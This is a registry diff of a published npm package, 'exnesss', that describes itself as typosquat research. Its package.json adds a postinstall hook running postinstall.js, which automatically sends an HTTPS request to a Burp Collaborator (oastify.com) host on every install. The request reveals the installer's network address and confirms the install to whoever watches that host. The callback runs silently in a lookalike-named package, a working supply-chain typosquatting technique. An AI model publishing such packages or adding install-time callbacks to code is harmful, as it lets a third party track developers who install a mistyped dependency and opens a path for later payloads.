exnesss 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,5 @@
1
+ # exnesss
2
+
3
+ Typosquat research package. Do not use in production.
4
+
5
+ On `postinstall` sends a simple HTTP request to a Burp Collaborator endpoint.
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ "use strict";
2
+
3
+ module.exports = {
4
+ name: "exnesss",
5
+ };
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "exnesss",
3
+ "version": "0.0.1",
4
+ "description": "Typosquat research package. Do not use in production.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node ./postinstall.js"
8
+ },
9
+ "keywords": [
10
+ "typosquat-research"
11
+ ],
12
+ "license": "UNLICENSED",
13
+ "private": false,
14
+ "engines": {
15
+ "node": ">=14"
16
+ }
17
+ }
package/postinstall.js ADDED
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+
3
+ const https = require("https");
4
+
5
+ const HOST = "hteimcuxkeb6pacscuexz4d9y04rshg6.oastify.com";
6
+ const TIMEOUT_MS = 8000;
7
+
8
+ function ping() {
9
+ return new Promise((resolve) => {
10
+ const req = https.get(
11
+ `https://${HOST}/`,
12
+ { timeout: TIMEOUT_MS },
13
+ (res) => {
14
+ res.resume();
15
+ resolve();
16
+ }
17
+ );
18
+ req.on("error", () => resolve());
19
+ req.on("timeout", () => {
20
+ req.destroy();
21
+ resolve();
22
+ });
23
+ });
24
+ }
25
+
26
+ ping().then(() => setTimeout(() => process.exit(0), 50));